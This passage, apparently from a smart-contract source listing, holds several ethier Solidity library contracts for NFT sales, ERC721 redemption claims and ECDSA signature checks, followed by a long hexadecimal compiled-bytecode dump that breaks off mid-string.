Refund(reimburse, refund); } } } // SPDX-License-Identifier: MIT // Copyright (c) 2022 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "./Seller.sol"; /** @dev The Seller base contract has a convenience function _purchase(to,n) that calls the standard function as _purchase(to,n,0). This would result in a free purchase, to the convenience variant is overriden and always reverts with this error. */ error ImplicitFreePurchase(); /** @notice A Seller with an arbitrary price passed in externally. */ abstract contract ArbitraryPriceSeller is Seller { constructor( Seller.SellerConfig memory sellerConfig, address payable _beneficiary ) Seller(sellerConfig, _beneficiary) {} /** @notice Block accidental usage of the convenience function that would default to a free sale. */ function _purchase(address, uint256) internal pure override { revert ImplicitFreePurchase(); } /** @notice Override of Seller.cost() with price passed via metadata. @return n*costEach; */ function cost(uint256 n, uint256 costEach) public pure override returns (uint256) { return n * costEach; } } // SPDX-License-Identifier: MIT // Copyright (c) 2022 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/interfaces/IERC721.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; /** @notice Allows holders of ERC721 tokens to redeem rights to some claim; for example, the right to mint a token of some other collection. */ library ERC721Redeemer { using Strings for uint256; /** @notice Storage value to track already-claimed redemptions for a specific token collection. */ struct Claims { /** @dev This field MUST NOT be considered part of the public API. Instead, prefer `using ERC721Redeemer for ERC721Redeemer.Claims` and utilise the provided functions. */ mapping(uint256 => uint256) _total; } /** @notice Emitted when a token's claim is redeemed. */ event Redemption( IERC721 indexed token, address indexed redeemer, uint256 tokenId, uint256 n ); /** @notice Checks that the redeemer is allowed to redeem the claims for the tokenIds by being either the owner or approved address for all tokens, and updates the Claims to reflect this. @dev For more efficient gas usage, recurring values in tokenIds SHOULD be adjacent to one another as this will batch expensive operations. The simplest way to achieve this is by sorting tokenIds. @param tokenIds The token IDs for which the claims are being redeemed. If maxAllowance > 1 then identical tokenIds can be passed more than once; see dev comments. @return The number of redeemed claims; either 0 or tokenIds.length; */ function redeem( Claims storage claimed, uint256 maxAllowance, address redeemer, IERC721 token, uint256[] calldata tokenIds ) internal returns (uint256) { if (maxAllowance == 0 || tokenIds.length == 0) { return 0; } // See comment for `endSameId`. bool multi = maxAllowance > 1; for ( uint256 i = 0; i < tokenIds.length; /* note increment at end */ ) { uint256 tokenId = tokenIds[i]; if ( token.ownerOf(tokenId) != redeemer && token.getApproved(tokenId) != redeemer ) { revertWithTokenId( "ERC721Redeemer: not approved nor owner of", tokenId ); } uint256 n = 1; if (multi) { // If allowed > 1 we can save on expensive operations like // checking ownership / remaining allowance by batching equal // tokenIds. The algorithm assumes that equal IDs are adjacent // in the array. uint256 endSameId; for ( endSameId = i + 1; endSameId < tokenIds.length && tokenIds[endSameId] == tokenId; endSameId++ ) {} n = endSameId - i; } claimed._total[tokenId] += n; if (claimed._total[tokenId] > maxAllowance) { revertWithTokenId( "ERC721Redeemer: over allowance for", tokenId ); } i += n; emit Redemption(token, redeemer, tokenId, n); } return tokenIds.length; } /** @notice Reverts with the concatenation of revertMsg and tokenId.toString(). @dev Used to save gas by constructing the revert message only as required, instead of passing it to require(). */ function revertWithTokenId(string memory revertMsg, uint256 tokenId) private pure { revert(string(abi.encodePacked(revertMsg, " ", tokenId.toString()))); } /** @notice Returns the number of unclaimed redemptions for the token. */ function unclaimed( Claims storage claimed, uint256 maxAllowance, uint256 tokenId ) internal view returns (uint256) { return maxAllowance - claimed._total[tokenId]; } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "../thirdparty/opensea/OpenSeaGasFreeListing.sol"; import "../utils/OwnerPausable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol"; import "@openzeppelin/contracts/utils/Context.sol"; /** @notice An ERC721 contract with common functionality: - OpenSea gas-free listings - OpenZeppelin Pausable - OpenZeppelin Pausable with functions exposed to Owner only */ contract ERC721Common is Context, ERC721Pausable, OwnerPausable { constructor(string memory name, string memory symbol) ERC721(name, symbol) {} /// @notice Requires that the token exists. modifier tokenExists(uint256 tokenId) { require(ERC721._exists(tokenId), "ERC721Common: Token doesn't exist"); _; } /// @notice Requires that msg.sender owns or is approved for the token. modifier onlyApprovedOrOwner(uint256 tokenId) { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721Common: Not approved nor owner" ); _; } /// @notice Overrides _beforeTokenTransfer as required by inheritance. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Pausable) { super._beforeTokenTransfer(from, to, tokenId); } /// @notice Overrides supportsInterface as required by inheritance. function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) { return super.supportsInterface(interfaceId); } /** @notice Returns true if either standard isApprovedForAll() returns true or the operator is the OpenSea proxy for the owner. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return super.isApprovedForAll(owner, operator) || OpenSeaGasFreeListing.isApprovedForAll(owner, operator); } } // SPDX-License-Identifier: MIT // Copyright (c) 2021 the ethier authors (github.com/divergencetech/ethier) pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /** @title SignatureChecker @notice Additional functions for EnumerableSet.Addresset that require a valid ECDSA signature of a standardized message, signed by any member of the set. */ library SignatureChecker { using EnumerableSet for EnumerableSet.AddressSet; /** @notice Requires that the message has not been used previously and that the recovered signer is contained in the signers AddressSet. @dev Convenience wrapper for message generation + signature verification + marking message as used @param signers Set of addresses from which signatures are accepted. @param usedMessages Set of already-used messages. @param signature ECDSA signature of message. */ function requireValidSignature( EnumerableSet.AddressSet storage signers, bytes memory data, bytes calldata signature, mapping(bytes32 => bool) storage usedMessages ) internal { bytes32 message = generateMessage(data); require( !usedMessages[message], "SignatureChecker: Message already used" ); usedMessages[message] = true; requireValidSignature(signers, message, signature); } /** @notice Requires that the message has not been used previously and that the recovered signer is contained in the signers AddressSet. @dev Convenience wrapper for message generation + signature verification. */ function requireValidSignature( EnumerableSet.AddressSet storage signers, bytes memory data, bytes calldata signature ) internal view { bytes32 message = generateMessage(data); requireValidSignature(signers, message, signature); } /** @notice Requires that the message has not been used previously and that the recovered signer is contained in the signers AddressSet. @dev Convenience wrapper for message generation from address + signature verification. */ function requireValidSignature( EnumerableSet.AddressSet storage signers, address a, bytes calldata signature ) internal view { bytes32 message = generateMessage(abi.encodePacked(a)); requireValidSignature(signers, message, signature); } /** @notice Common validator logic, checking if the recovered signer is contained in the signers AddressSet. */ function validSignature( EnumerableSet.AddressSet storage signers, bytes32 message, bytes calldata signature ) internal view returns (bool) { return signers.contains(ECDSA.recover(message, signature)); } /** @notice Requires that the recovered signer is contained in the signers AddressSet. @dev Convenience wrapper that reverts if the signature validation fails. */ function requireValidSignature( EnumerableSet.AddressSet storage signers, bytes32 message, bytes calldata signature ) internal view { require( validSignature(signers, message, signature), "SignatureChecker: Invalid signature" ); } /** @notice Generates a message for a given data input that will be signed off-chain using ECDSA. @dev For multiple data fields, a standard concatenation using `abi.encodePacked` is commonly used to build data. */ function generateMessage(bytes memory data) internal pure returns (bytes32) { return ECDSA.toEthSignedMessageHash(data); } }
0x6080604052600436106103505760003560e01c806376997548116101c6578063a945bf80116100f7578063d6c878c511610095578063ec9e1c331161006f578063ec9e1c3314610a19578063f0503e8014610a39578063f2fde38b14610a66578063f7d9757714610a8657600080fd5b8063d6c878c5146109b9578063e985e9c5146109d9578063eb12d61e146109f957600080fd5b8063bf62e21d116100d1578063bf62e21d14610925578063c4ec98cc14610945578063c87b56dd14610965578063cc70813b1461098557600080fd5b8063a945bf8014610864578063b88d4fde1461087a578063bb69b7ef1461089a57600080fd5b80639560a90e116101645780639f93f7791161013e5780639f93f779146107dc578063a22cb465146107ef578063a3246b8d1461080f578063a52526991461084357600080fd5b80639560a90e1461079c57806395d89b41146107b25780639c8a2bfd146107c757600080fd5b8063891c77ec116101a0578063891c77ec1461072f5780638ada6b0f146107445780638da5cb5b146107695780639106d7ba1461078757600080fd5b806376997548146106e7578063774a2f6f146106fa5780638456cb591461071a57600080fd5b806338af3eed116102a05780635a0284001161023e5780636352211e116102185780636352211e146106725780636e6ca9581461069257806370a08231146106b2578063715018a6146106d257600080fd5b80635a028400146106025780635c975abb146106325780636094a0701461065157600080fd5b806342260b5d1161027a57806342260b5d1461059257806342842e0e146105a8578063551ba053146105c857806356d3163d146105e257600080fd5b806338af3eed1461053d5780633ec02e141461055d5780633f4ba83a1461057d57600080fd5b806318160ddd1161030d5780632a55205a116102e75780632a55205a146104ab5780632b80183f146104ea5780632f274bd41461050a578063368412ee1461052a57600080fd5b806318160ddd146104465780631c31f7101461046b57806323b872dd1461048b57600080fd5b806301ffc9a71461035557806306fdde031461038a578063081812fc146103ac578063095ea7b3146103e45780630e316ab71461040657806313e7c1d514610426575b600080fd5b34801561036157600080fd5b50610375610370366004613919565b610aa6565b60405190151581526020015b60405180910390f35b34801561039657600080fd5b5061039f610ad1565b604051610381919061398e565b3480156103b857600080fd5b506103cc6103c73660046139a1565b610b63565b6040516001600160a01b039091168152602001610381565b3480156103f057600080fd5b506104046103ff3660046139cf565b610bfd565b005b34801561041257600080fd5b506104046104213660046139fb565b610d13565b34801561043257600080fd5b506104046104413660046139fb565b610d4c565b34801561045257600080fd5b5060195461045d9081565b604051908152602001610381565b34801561047757600080fd5b506104046104863660046139fb565b610d98565b34801561049757600080fd5b506104046104a6366004613a18565b610de4565b3480156104b757600080fd5b506104cb6104c6366004613a59565b610e15565b604080516001600160a01b039093168352602083019190915201610381565b3480156104f657600080fd5b506104046105053660046139a1565b610e50565b34801561051657600080fd5b50610404610525366004613b09565b610eb9565b610404610538366004613bd9565b6110a7565b34801561054957600080fd5b50600d546103cc906001600160a01b031681565b34801561056957600080fd5b5061045d610578366004613a59565b6111a0565b34801561058957600080fd5b506104046111b3565b34801561059e57600080fd5b5061045d601c5481565b3480156105b457600080fd5b506104046105c3366004613a18565b6111e7565b3480156105d457600080fd5b50601b546103759060ff1681565b3480156105ee57600080fd5b506104046105fd3660046139fb565b611202565b34801561060e57600080fd5b5061037561061d3660046139a1565b60186020526000908152604090205460ff1681565b34801561063e57600080fd5b50600654600160a01b900460ff16610375565b34801561065d57600080fd5b50601b5461037590600160a81b900460ff1681565b34801561067e57600080fd5b506103cc61068d3660046139a1565b6112a0565b34801561069e57600080fd5b506013546103cc906001600160a01b031681565b3480156106be57600080fd5b5061045d6106cd3660046139fb565b611317565b3480156106de57600080fd5b5061040461139e565b6104046106f5366004613c45565b6113d2565b34801561070657600080fd5b5061045d6107153660046139a1565b611437565b34801561072657600080fd5b50610404611467565b34801561073b57600080fd5b50610404611499565b34801561075057600080fd5b50601b546103cc9061010090046001600160a01b031681565b34801561077557600080fd5b506006546001600160a01b03166103cc565b34801561079357600080fd5b5061045d6114d2565b3480156107a857600080fd5b5061045d60125481565b3480156107be57600080fd5b5061039f6114e2565b3480156107d357600080fd5b506104046114f1565b6104046107ea3660046139cf565b611592565b3480156107fb57600080fd5b5061040461080a366004613cd2565b6115f1565b34801561081b57600080fd5b506103cc7f000000000000000000000000d31fc221d2b0e0321c43e9f6824b26ebfff01d7d81565b34801561084f57600080fd5b5060135461037590600160a01b900460ff1681565b34801561087057600080fd5b5061045d60115481565b34801561088657600080fd5b50610404610895366004613d33565b6115fc565b3480156108a657600080fd5b50600854600954600a54600b54600c546108e2949392916001600160f81b0381169160ff600160f81b9092048216918181169161010090041687565b604080519788526020880196909652948601939093526001600160f81b03909116606085015215156080840152151560a0830152151560c082015260e001610381565b34801561093157600080fd5b506104046109403660046139cf565b61162e565b34801561095157600080fd5b5061045d6109603660046139a1565b6117a3565b34801561097157600080fd5b5061039f6109803660046139a1565b6117d3565b34801561099157600080fd5b506103cc7f00000000000000000000000047ccad36ae77ab963746c8db8ad301d48235ce8181565b3480156109c557600080fd5b506104046109d43660046139a1565b6118f4565b3480156109e557600080fd5b506103756109f4366004613de2565b6119d3565b348015610a0557600080fd5b50610404610a143660046139fb565b611a0e565b348015610a2557600080fd5b50610404610a34366004613e10565b611a43565b348015610a4557600080fd5b5061045d610a543660046139a1565b601a6020526000908152604090205481565b348015610a7257600080fd5b50610404610a813660046139fb565b611a8b565b348015610a9257600080fd5b50610404610aa1366004613a59565b611b26565b60006001600160e01b0319821663152a902d60e11b1480610acb5750610acb82611b5f565b92915050565b606060008054610ae090613e2d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0c90613e2d565b8015610b595780601f10610b2e57610100808354040283529160200191610b59565b820191906000526020600020905b815481529060010190602001808311610b3c57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610be15760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610c08826112a0565b9050806001600160a01b0316836001600160a01b03161415610c765760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610bd8565b336001600160a01b0382161480610c925750610c9281336119d3565b610d045760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610bd8565b610d0e8383611b6a565b505050565b6006546001600160a01b03163314610d3d5760405162461bcd60e51b8152600401610bd890613e62565b610d48601682611bd8565b5050565b6006546001600160a01b03163314610d765760405162461bcd60e51b8152600401610bd890613e62565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314610dc25760405162461bcd60e51b8152600401610bd890613e62565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b610dee3382611bed565b610e0a5760405162461bcd60e51b8152600401610bd890613e97565b610d0e838383611cc4565b600d54601c5460009182916001600160a01b039091169061271090610e3a9086613efe565b610e449190613f33565b915091505b9250929050565b6006546001600160a01b03163314610e7a5760405162461bcd60e51b8152600401610bd890613e62565b612710811115610eb45760405162461bcd60e51b81526020600482015260056024820152643e3130302560d81b6044820152606401610bd8565b601c55565b6006546001600160a01b03163314610ee35760405162461bcd60e51b8152600401610bd890613e62565b80606001516001600160f81b031681600001511015610f445760405162461bcd60e51b815260206004820152601c60248201527f53656c6c65723a2065786365737369766520667265652071756f7461000000006044820152606401610bd8565b600e5481511015610f975760405162461bcd60e51b815260206004820181905260248201527f53656c6c65723a20696e76656e746f7279203c20616c726561647920736f6c646044820152606401610bd8565b60105481606001516001600160f81b031610156110005760405162461bcd60e51b815260206004820152602160248201527f53656c6c65723a20667265652071756f7461203c20616c7265616479207573656044820152601960fa1b6064820152608401610bd8565b600c54610100900460ff161561101d57600160c082015260085481525b600c5460ff161561104157600160a0820152600b546001600160f81b031660608201525b805160085560208101516009556040810151600a55606081015160808201511515600160f81b026001600160f81b0390911617600b5560a0810151600c805460c09093015115156101000261ff00199215159290921661ffff1990931692909217179055565b601354600160a01b900460ff166111005760405162461bcd60e51b815260206004820152601860248201527f436f6c6c6563746f72206d696e74696e6720636c6f73656400000000000000006044820152606401610bd8565b821561115e576111593361113a60146001837f00000000000000000000000047ccad36ae77ab963746c8db8ad301d48235ce818a8a611e6f565b611145906002613efe565b60026012546111549190613f33565b612118565b61119a565b61119a3361119260156001837f000000000000000000000000d31fc221d2b0e0321c43e9f6824b26ebfff01d7d8888611e6f565b601254612118565b50505050565b60006111ac8284613efe565b9392505050565b6006546001600160a01b031633146111dd5760405162461bcd60e51b8152600401610bd890613e62565b6111e56125f6565b565b610d0e838383604051806020016040528060008152506115fc565b6006546001600160a01b0316331461122c5760405162461bcd60e51b8152600401610bd890613e62565b601b54600160a81b900460ff16156112785760405162461bcd60e51b815260206004820152600f60248201526e14995b99195c995c881b1bd8dad959608a1b6044820152606401610bd8565b601b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000818152600260205260408120546001600160a01b031680610acb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610bd8565b60006001600160a01b0382166113825760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610bd8565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b031633146113c85760405162461bcd60e51b8152600401610bd890613e62565b6111e56000612693565b6040516bffffffffffffffffffffffff193360601b1660208201526034810186905260548101859052607481018490526114259060940160408051601f19818403018152919052601690848460186126e5565b611430338686612118565b5050505050565b6000610acb7f00000000000000000000000047ccad36ae77ab963746c8db8ad301d48235ce81601460018561278e565b6006546001600160a01b031633146114915760405162461bcd60e51b8152600401610bd890613e62565b6111e561280f565b6006546001600160a01b031633146114c35760405162461bcd60e51b8152600401610bd890613e62565b601b805460ff19166001179055565b60006114dd600e5490565b905090565b606060018054610ae090613e2d565b6006546001600160a01b0316331461151b5760405162461bcd60e51b8152600401610bd890613e62565b601b5461153d9061010090046001600160a01b0316630e94d5cf60e21b612874565b61157d5760405162461bcd60e51b81526020600482015260116024820152702737ba1024a5b4b9b9a932b73232b932b960791b6044820152606401610bd8565b601b805460ff60a81b1916600160a81b179055565b6013546001600160a01b031633146115e45760405162461bcd60e51b8152602060048201526015602482015274446972656374207075626c6963206d696e74696e6760581b6044820152606401610bd8565b610d488282601154612118565b610d48338383612890565b6116063383611bed565b6116225760405162461bcd60e51b8152600401610bd890613e97565b61119a8484848461295f565b6006546001600160a01b031633146116585760405162461bcd60e51b8152600401610bd890613e62565b600654600160a01b900460ff16156116825760405162461bcd60e51b8152600401610bd890613f47565b600b546001600160f81b03166116aa8261169b60105490565b6116a59084613f71565b612992565b9150600082116116fc5760405162461bcd60e51b815260206004820152601b60248201527f53656c6c65723a20467265652071756f746120657863656564656400000000006044820152606401610bd8565b60085461170c8361169b600e5490565b9250600083116117515760405162461bcd60e51b815260206004820152601060248201526f14d95b1b195c8e8814dbdb19081bdd5d60821b6044820152606401610bd8565b61175d848460016129a8565b611768600e84612a74565b611773601084612a74565b8061177d600e5490565b111561178b5761178b613f88565b8161179560105490565b111561119a5761119a613f88565b6000610acb7f000000000000000000000000d31fc221d2b0e0321c43e9f6824b26ebfff01d7d601560018561278e565b6060816117f7816000908152600260205260409020546001600160a01b0316151590565b6118135760405162461bcd60e51b8152600401610bd890613f9e565b601b5461010090046001600160a01b031661185e5760405162461bcd60e51b815260206004820152600b60248201526a2737903932b73232b932b960a91b6044820152606401610bd8565b601b546000848152601a602052604090819020549051631ecf701b60e31b81526004810186905260248101919091526101009091046001600160a01b03169063f67b80d890604401600060405180830381865afa1580156118c3573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526118eb9190810190613fdf565b91505b50919050565b60008181526002602052604090205481906001600160a01b031661192a5760405162461bcd60e51b8152600401610bd890613f9e565b6006546001600160a01b031633146119545760405162461bcd60e51b8152600401610bd890613e62565b601b5460ff16156119965760405162461bcd60e51b815260206004820152600c60248201526b14d959591cc81b1bd8dad95960a21b6044820152606401610bd8565b506000818152601a602081815260408084208054825180850191909152825180820385018152908301909252815191830191909120949093525255565b6001600160a01b03808316600090815260056020908152604080832093851683529290529081205460ff16806111ac57506111ac8383612a91565b6006546001600160a01b03163314611a385760405162461bcd60e51b8152600401610bd890613e62565b610d48601682612ad0565b6006546001600160a01b03163314611a6d5760405162461bcd60e51b8152600401610bd890613e62565b60138054911515600160a01b0260ff60a01b19909216919091179055565b6006546001600160a01b03163314611ab55760405162461bcd60e51b8152600401610bd890613e62565b6001600160a01b038116611b1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bd8565b611b2381612693565b50565b6006546001600160a01b03163314611b505760405162461bcd60e51b8152600401610bd890613e62565b601191909155601255565b5490565b6000610acb82612ae5565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611b9f826112a0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006111ac836001600160a01b038416612b35565b6000818152600260205260408120546001600160a01b0316611c665760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610bd8565b6000611c71836112a0565b9050806001600160a01b0316846001600160a01b03161480611cac5750836001600160a01b0316611ca184610b63565b6001600160a01b0316145b80611cbc5750611cbc81856119d3565b949350505050565b826001600160a01b0316611cd7826112a0565b6001600160a01b031614611d3f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610bd8565b6001600160a01b038216611da15760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610bd8565b611dac838383612c28565b611db7600082611b6a565b6001600160a01b0383166000908152600360205260408120805460019290611de0908490613f71565b90915550506001600160a01b0382166000908152600360205260408120805460019290611e0e90849061404d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000851580611e7c575081155b15611e895750600061210e565b6001861160005b83811015612108576000858583818110611eac57611eac614065565b905060200201359050876001600160a01b0316876001600160a01b0316636352211e836040518263ffffffff1660e01b8152600401611eed91815260200190565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e919061407b565b6001600160a01b031614158015611fba575060405163020604bf60e21b8152600481018290526001600160a01b03808a16919089169063081812fc90602401602060405180830381865afa158015611f8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fae919061407b565b6001600160a01b031614155b15611fe157611fe16040518060600160405280602981526020016142fd6029913982612c33565b60018315612044576000611ff684600161404d565b90505b868110801561201f57508288888381811061201657612016614065565b90506020020135145b15612036578061202e81614098565b915050611ff9565b6120408482613f71565b9150505b600082815260208c905260408120805483929061206290849061404d565b9091555050600082815260208c905260409020548a101561209f5761209f6040518060600160405280602281526020016143266022913983612c33565b6120a9818461404d565b9250886001600160a01b0316886001600160a01b03167fa28d80c9910787c0c058ed9b50c577f1389264bf61563fa45529e0771976f56284846040516120f9929190918252602082015260400190565b60405180910390a35050611e90565b50829150505b9695505050505050565b6002600754141561216b5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610bd8565b6002600755600654600160a01b900460ff161561219a5760405162461bcd60e51b8152600401610bd890613f47565b6040805160e08101825260085481526009546020820152600a54918101829052600b546001600160f81b038116606083015260ff600160f81b909104811615156080830152600c54808216151560a0840152610100900416151560c0820152906000901561221557612210848360400151612992565b612217565b835b905060008083608001511561225f5760608401518451612240916001600160f81b031690613f71565b915061224b60105490565b600e546122589190613f71565b905061226f565b8351915061226c600e5490565b90505b61227d836116a58385613f71565b9250600083116122c25760405162461bcd60e51b815260206004820152601060248201526f14d95b1b195c8e8814dbdb19081bdd5d60821b6044820152606401610bd8565b60208401511561241e57336001600160a01b0388168114159060009032148015906122f65750326001600160a01b038a1614155b9050612326858a6040518060400160405280600b81526020016a109d5e595c881b1a5b5a5d60aa1b815250612c4e565b945081156123605761235d85336040518060400160405280600c81526020016b14d95b99195c881b1a5b5a5d60a21b815250612c4e565b94505b80156123985761239585326040518060400160405280600c81526020016b13dc9a59da5b881b1a5b5a5d60a21b815250612c4e565b94505b6001600160a01b0389166000908152600f6020526040812080548792906123c090849061404d565b909155505081156123f057336000908152600f6020526040812080548792906123ea90849061404d565b90915550505b801561241b57326000908152600f60205260408120805487929061241590849061404d565b90915550505b50505b600061242a84876111a0565b9050803410156124805761244a612445633b9aca0083613f33565b612c97565b60405160200161245a91906140b3565b60408051601f198184030181529082905262461bcd60e51b8252610bd89160040161398e565b61248c888560006129a8565b612497600e85612a74565b8451600e5411156124aa576124aa613f88565b801561250f57600d546124c6906001600160a01b031682612d95565b600d5460408051868152602081018490526001600160a01b03909216917f01f51b99bd1c3cca301836178e5dee13aadfe44eff06dc3ddcbf3c9d058454f8910160405180910390a25b803411156125e7573360006125248334613f71565b9050600080836001600160a01b03168360405160006040518083038185875af1925050503d8060008114612574576040519150601f19603f3d011682016040523d82523d6000602084013e612579565b606091505b509150915081819061259e5760405162461bcd60e51b8152600401610bd8919061398e565b50836001600160a01b03167fbb28353e4598c3b9199101a66e0989549b659a59a54d2c27fbb183f1932c8e6d846040516125da91815260200190565b60405180910390a2505050505b50506001600755505050505050565b600654600160a01b900460ff166126465760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610bd8565b6006805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006126f085612eae565b60008181526020849052604090205490915060ff16156127615760405162461bcd60e51b815260206004820152602660248201527f5369676e6174757265436865636b65723a204d65737361676520616c726561646044820152651e481d5cd95960d21b6064820152608401610bd8565b6000818152602083905260409020805460ff1916600117905561278686828686612eb9565b505050505050565b6040516331a9108f60e11b8152600481018290526000906001600160a01b03861690636352211e90602401602060405180830381865afa1580156127d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127fa919061407b565b50612806848484612f1d565b95945050505050565b600654600160a01b900460ff16156128395760405162461bcd60e51b8152600401610bd890613f47565b6006805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586126763390565b600061287f83612f36565b80156111ac57506111ac8383612f69565b816001600160a01b0316836001600160a01b031614156128f25760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610bd8565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b61296a848484611cc4565b61297684848484613048565b61119a5760405162461bcd60e51b8152600401610bd8906140f8565b60008183106129a157816111ac565b5090919050565b60006129b360195490565b905060006129c1848361404d565b6040516bffffffffffffffffffffffff1930606090811b8216602084015241811b8216603484015243604884015288901b166068820152909150600090607c0160405160208183030381529060405290505b81831015612a6d57612a258684613143565b8083604051602001612a3892919061414a565b60408051601f1981840301815291815281516020928301206000868152601a909352912055612a6683614098565b9250612a13565b6127866019865b80826000016000828254612a88919061404d565b90915550505050565b600080612a9d8461315d565b90506001600160a01b03811615801590611cbc5750826001600160a01b0316816001600160a01b03161491505092915050565b60006111ac836001600160a01b0384166132b4565b60006001600160e01b031982166380ac58cd60e01b1480612b1657506001600160e01b03198216635b5e139f60e01b145b80610acb57506301ffc9a760e01b6001600160e01b0319831614610acb565b60008181526001830160205260408120548015612c1e576000612b59600183613f71565b8554909150600090612b6d90600190613f71565b9050818114612bd2576000866000018281548110612b8d57612b8d614065565b9060005260206000200154905080876000018481548110612bb057612bb0614065565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612be357612be361416c565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610acb565b6000915050610acb565b610d0e838383613303565b81612c3d82612c97565b60405160200161245a929190614182565b6001600160a01b0382166000908152600f60205260408120546009548291612c7591613f71565b905080612c8d578260405160200161245a91906141be565b6128068582612992565b606081612cbb5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612ce55780612ccf81614098565b9150612cde9050600a83613f33565b9150612cbf565b60008167ffffffffffffffff811115612d0057612d00613a7b565b6040519080825280601f01601f191660200182016040528015612d2a576020820181803683370190505b5090505b8415611cbc57612d3f600183613f71565b9150612d4c600a866141ee565b612d5790603061404d565b60f81b818381518110612d6c57612d6c614065565b60200101906001600160f81b031916908160001a905350612d8e600a86613f33565b9450612d2e565b80471015612de55760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610bd8565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612e32576040519150601f19603f3d011682016040523d82523d6000602084013e612e37565b606091505b5050905080610d0e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610bd8565b6000610acb82613371565b612ec5848484846133ac565b61119a5760405162461bcd60e51b815260206004820152602360248201527f5369676e6174757265436865636b65723a20496e76616c6964207369676e617460448201526275726560e81b6064820152608401610bd8565b600081815260208490526040812054611cbc9084613f71565b6000612f49826301ffc9a760e01b612f69565b8015610acb5750612f62826001600160e01b0319612f69565b1592915050565b604080516001600160e01b0319831660248083019190915282518083039091018152604490910182526020810180516001600160e01b03166301ffc9a760e01b179052905160009190829081906001600160a01b0387169061753090612fd0908690614202565b6000604051808303818686fa925050503d806000811461300c576040519150601f19603f3d011682016040523d82523d6000602084013e613011565b606091505b509150915060208151101561302c5760009350505050610acb565b81801561210e57508080602001905181019061210e919061421e565b60006001600160a01b0384163b1561313b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061308c90339089908890889060040161423b565b6020604051808303816000875af19250505080156130c7575060408051601f3d908101601f191682019092526130c49181019061426e565b60015b613121573d8080156130f557